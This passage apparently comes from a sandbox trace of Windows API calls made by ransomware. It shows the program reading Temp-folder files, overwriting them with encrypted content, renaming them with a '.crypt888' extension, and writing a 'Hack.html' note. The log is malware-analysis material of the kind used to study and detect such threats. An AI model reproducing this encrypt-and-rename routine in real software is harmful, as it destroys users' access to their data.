[0077.709] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.709] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.709] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.709] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.709] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.709] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.709] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.709] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.709] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.710] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.710] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.710] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.710] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.710] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.710] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.710] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.711] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.711] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.711] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.711] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.711] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.711] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.711] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.711] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.712] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.712] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.712] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.712] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.712] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.712] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.712] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.712] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.713] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0077.713] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0077.713] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0077.713] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0077.713] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\-QxxVvwiRMd_.mp4", nBufferLength=0x105, lpBuffer=0x39e748, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\-QxxVvwiRMd_.mp4", lpFilePart=0x0) returned 0x41 [0077.713] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec3c) returned 1 [0077.713] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\-QxxVvwiRMd_.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\-qxxvvwirmd_.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0077.713] GetFileType (hFile=0x174) returned 0x1 [0077.713] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec38) returned 1 [0077.713] GetFileType (hFile=0x174) returned 0x1 [0077.713] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0x4899 [0077.714] ReadFile (in: hFile=0x174, lpBuffer=0x2758f30, nNumberOfBytesToRead=0x4899, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x2758f30*, lpNumberOfBytesRead=0x39ecf0*=0x4899, lpOverlapped=0x0) returned 1 [0077.714] CloseHandle (hObject=0x174) returned 1 [0077.742] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\-QxxVvwiRMd_.mp4", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\-QxxVvwiRMd_.mp4", lpFilePart=0x0) returned 0x41 [0077.742] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0077.742] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\-QxxVvwiRMd_.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\-qxxvvwirmd_.mp4"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0077.743] GetFileType (hFile=0x174) returned 0x1 [0077.743] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec20) returned 1 [0077.744] GetFileType (hFile=0x174) returned 0x1 [0077.744] WriteFile (in: hFile=0x174, lpBuffer=0x27bc818*, nNumberOfBytesToWrite=0x48a0, lpNumberOfBytesWritten=0x39ece0, lpOverlapped=0x0 | out: lpBuffer=0x27bc818*, lpNumberOfBytesWritten=0x39ece0*=0x48a0, lpOverlapped=0x0) returned 1 [0077.745] CloseHandle (hObject=0x174) returned 1 [0077.746] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\-QxxVvwiRMd_.mp4", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\-QxxVvwiRMd_.mp4", lpFilePart=0x0) returned 0x41 [0077.746] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\-QxxVvwiRMd_.mp4.crypt888", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\-QxxVvwiRMd_.mp4.crypt888", lpFilePart=0x0) returned 0x4a [0077.747] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc8) returned 1 [0077.747] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\-QxxVvwiRMd_.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\-qxxvvwirmd_.mp4"), fInfoLevelId=0x0, lpFileInformation=0x39ed44 | out: lpFileInformation=0x39ed44*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xdf4ba0e0, ftCreationTime.dwHighDateTime=0x1d4661c, ftLastAccessTime.dwLowDateTime=0xc2385220, ftLastAccessTime.dwHighDateTime=0x1d46200, ftLastWriteTime.dwLowDateTime=0xbf894e60, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x48a0)) returned 1 [0077.747] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc4) returned 1 [0077.747] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\-QxxVvwiRMd_.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\-qxxvvwirmd_.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\-QxxVvwiRMd_.mp4.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\-qxxvvwirmd_.mp4.crypt888")) returned 1 [0077.748] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5ikJEZYVR98.m4a", nBufferLength=0x105, lpBuffer=0x39e748, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5ikJEZYVR98.m4a", lpFilePart=0x0) returned 0x40 [0077.748] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec3c) returned 1 [0077.748] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5ikJEZYVR98.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\5ikjezyvr98.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0077.748] GetFileType (hFile=0x174) returned 0x1 [0077.748] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec38) returned 1 [0077.748] GetFileType (hFile=0x174) returned 0x1 [0077.748] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0x10628 [0077.748] ReadFile (in: hFile=0x174, lpBuffer=0x27c14e8, nNumberOfBytesToRead=0x10628, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x27c14e8*, lpNumberOfBytesRead=0x39ecf0*=0x10628, lpOverlapped=0x0) returned 1 [0077.750] CloseHandle (hObject=0x174) returned 1 [0077.770] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5ikJEZYVR98.m4a", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5ikJEZYVR98.m4a", lpFilePart=0x0) returned 0x40 [0077.770] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0077.770] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5ikJEZYVR98.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\5ikjezyvr98.m4a"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0077.771] GetFileType (hFile=0x174) returned 0x1 [0077.771] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec20) returned 1 [0077.771] GetFileType (hFile=0x174) returned 0x1 [0077.772] WriteFile (in: hFile=0x174, lpBuffer=0x283f550*, nNumberOfBytesToWrite=0x10630, lpNumberOfBytesWritten=0x39ece0, lpOverlapped=0x0 | out: lpBuffer=0x283f550*, lpNumberOfBytesWritten=0x39ece0*=0x10630, lpOverlapped=0x0) returned 1 [0077.774] CloseHandle (hObject=0x174) returned 1 [0077.780] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5ikJEZYVR98.m4a", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5ikJEZYVR98.m4a", lpFilePart=0x0) returned 0x40 [0077.780] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5ikJEZYVR98.m4a.crypt888", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5ikJEZYVR98.m4a.crypt888", lpFilePart=0x0) returned 0x49 [0077.780] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc8) returned 1 [0077.781] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5ikJEZYVR98.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\5ikjezyvr98.m4a"), fInfoLevelId=0x0, lpFileInformation=0x39ed44 | out: lpFileInformation=0x39ed44*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x39b20840, ftCreationTime.dwHighDateTime=0x1d45933, ftLastAccessTime.dwLowDateTime=0xbd7c7d0, ftLastAccessTime.dwHighDateTime=0x1d4658a, ftLastWriteTime.dwLowDateTime=0xbf8e1120, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x10630)) returned 1 [0077.781] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc4) returned 1 [0077.781] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5ikJEZYVR98.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\5ikjezyvr98.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5ikJEZYVR98.m4a.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\5ikjezyvr98.m4a.crypt888")) returned 1 [0077.781] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\B_y7j_gfHr8h-pl_.png", nBufferLength=0x105, lpBuffer=0x39e748, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\B_y7j_gfHr8h-pl_.png", lpFilePart=0x0) returned 0x45 [0077.781] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec3c) returned 1 [0077.782] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\B_y7j_gfHr8h-pl_.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\b_y7j_gfhr8h-pl_.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0077.782] GetFileType (hFile=0x174) returned 0x1 [0077.782] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec38) returned 1 [0077.782] GetFileType (hFile=0x174) returned 0x1 [0077.782] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0x8115 [0077.782] ReadFile (in: hFile=0x174, lpBuffer=0x2850018, nNumberOfBytesToRead=0x8115, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x2850018*, lpNumberOfBytesRead=0x39ecf0*=0x8115, lpOverlapped=0x0) returned 1 [0077.783] CloseHandle (hObject=0x174) returned 1 [0077.802] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\B_y7j_gfHr8h-pl_.png", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\B_y7j_gfHr8h-pl_.png", lpFilePart=0x0) returned 0x45 [0077.802] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0077.802] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\B_y7j_gfHr8h-pl_.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\b_y7j_gfhr8h-pl_.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0077.803] GetFileType (hFile=0x174) returned 0x1 [0077.803] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec20) returned 1 [0077.803] GetFileType (hFile=0x174) returned 0x1 [0077.803] WriteFile (in: hFile=0x174, lpBuffer=0x26cfef8*, nNumberOfBytesToWrite=0x8120, lpNumberOfBytesWritten=0x39ece0, lpOverlapped=0x0 | out: lpBuffer=0x26cfef8*, lpNumberOfBytesWritten=0x39ece0*=0x8120, lpOverlapped=0x0) returned 1 [0077.805] CloseHandle (hObject=0x174) returned 1 [0077.808] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\B_y7j_gfHr8h-pl_.png", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\B_y7j_gfHr8h-pl_.png", lpFilePart=0x0) returned 0x45 [0077.808] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\B_y7j_gfHr8h-pl_.png.crypt888", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\B_y7j_gfHr8h-pl_.png.crypt888", lpFilePart=0x0) returned 0x4e [0077.808] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc8) returned 1 [0077.808] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\B_y7j_gfHr8h-pl_.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\b_y7j_gfhr8h-pl_.png"), fInfoLevelId=0x0, lpFileInformation=0x39ed44 | out: lpFileInformation=0x39ed44*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11a362c0, ftCreationTime.dwHighDateTime=0x1d46290, ftLastAccessTime.dwLowDateTime=0x5f4711b0, ftLastAccessTime.dwHighDateTime=0x1d45ebd, ftLastWriteTime.dwLowDateTime=0xbf92d3e0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x8120)) returned 1 [0077.809] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc4) returned 1 [0077.809] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\B_y7j_gfHr8h-pl_.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\b_y7j_gfhr8h-pl_.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\B_y7j_gfHr8h-pl_.png.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\b_y7j_gfhr8h-pl_.png.crypt888")) returned 1 [0077.818] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\DTm72wOZ.pdf", nBufferLength=0x105, lpBuffer=0x39e748, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\DTm72wOZ.pdf", lpFilePart=0x0) returned 0x3d [0077.818] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec3c) returned 1 [0077.818] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\DTm72wOZ.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\dtm72woz.pdf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0077.818] GetFileType (hFile=0x174) returned 0x1 [0077.818] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec38) returned 1 [0077.818] GetFileType (hFile=0x174) returned 0x1 [0077.818] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0x573d [0077.818] ReadFile (in: hFile=0x174, lpBuffer=0x26d847c, nNumberOfBytesToRead=0x573d, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x26d847c*, lpNumberOfBytesRead=0x39ecf0*=0x573d, lpOverlapped=0x0) returned 1 [0077.819] CloseHandle (hObject=0x174) returned 1 [0077.862] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\DTm72wOZ.pdf", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\DTm72wOZ.pdf", lpFilePart=0x0) returned 0x3d [0077.862] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0077.862] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\DTm72wOZ.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\dtm72woz.pdf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0077.863] GetFileType (hFile=0x174) returned 0x1 [0077.863] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec20) returned 1 [0077.863] GetFileType (hFile=0x174) returned 0x1 [0077.864] WriteFile (in: hFile=0x174, lpBuffer=0x27407e0*, nNumberOfBytesToWrite=0x5740, lpNumberOfBytesWritten=0x39ece0, lpOverlapped=0x0 | out: lpBuffer=0x27407e0*, lpNumberOfBytesWritten=0x39ece0*=0x5740, lpOverlapped=0x0) returned 1 [0077.865] CloseHandle (hObject=0x174) returned 1 [0077.868] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\DTm72wOZ.pdf", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\DTm72wOZ.pdf", lpFilePart=0x0) returned 0x3d [0077.868] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\DTm72wOZ.pdf.crypt888", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\DTm72wOZ.pdf.crypt888", lpFilePart=0x0) returned 0x46 [0077.868] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc8) returned 1 [0077.868] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\DTm72wOZ.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\dtm72woz.pdf"), fInfoLevelId=0x0, lpFileInformation=0x39ed44 | out: lpFileInformation=0x39ed44*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x39ebe790, ftCreationTime.dwHighDateTime=0x1d46234, ftLastAccessTime.dwLowDateTime=0x5adef180, ftLastAccessTime.dwHighDateTime=0x1d4596b, ftLastWriteTime.dwLowDateTime=0xbf9c5960, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x5740)) returned 1 [0077.869] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc4) returned 1 [0077.869] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\DTm72wOZ.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\dtm72woz.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\DTm72wOZ.pdf.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\dtm72woz.pdf.crypt888")) returned 1 [0077.870] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt", nBufferLength=0x105, lpBuffer=0x39e748, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt", lpFilePart=0x0) returned 0x47 [0077.870] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec3c) returned 1 [0077.870] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\fxsapidebuglogfile.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff [0077.882] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39da78) returned 1 [0077.882] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e758, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Hack.html", lpFilePart=0x0) returned 0x3a [0077.883] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec4c) returned 1 [0077.883] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.883] GetFileType (hFile=0x174) returned 0x1 [0077.884] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec48) returned 1 [0077.884] GetFileType (hFile=0x174) returned 0x1 [0077.884] WriteFile (in: hFile=0x174, lpBuffer=0x27481bc*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecc8, lpOverlapped=0x0 | out: lpBuffer=0x27481bc*, lpNumberOfBytesWritten=0x39ecc8*=0xba, lpOverlapped=0x0) returned 1 [0077.885] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0077.885] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temporary Internet Files", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temporary Internet Files", lpFilePart=0x0) returned 0x44 [0077.885] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS 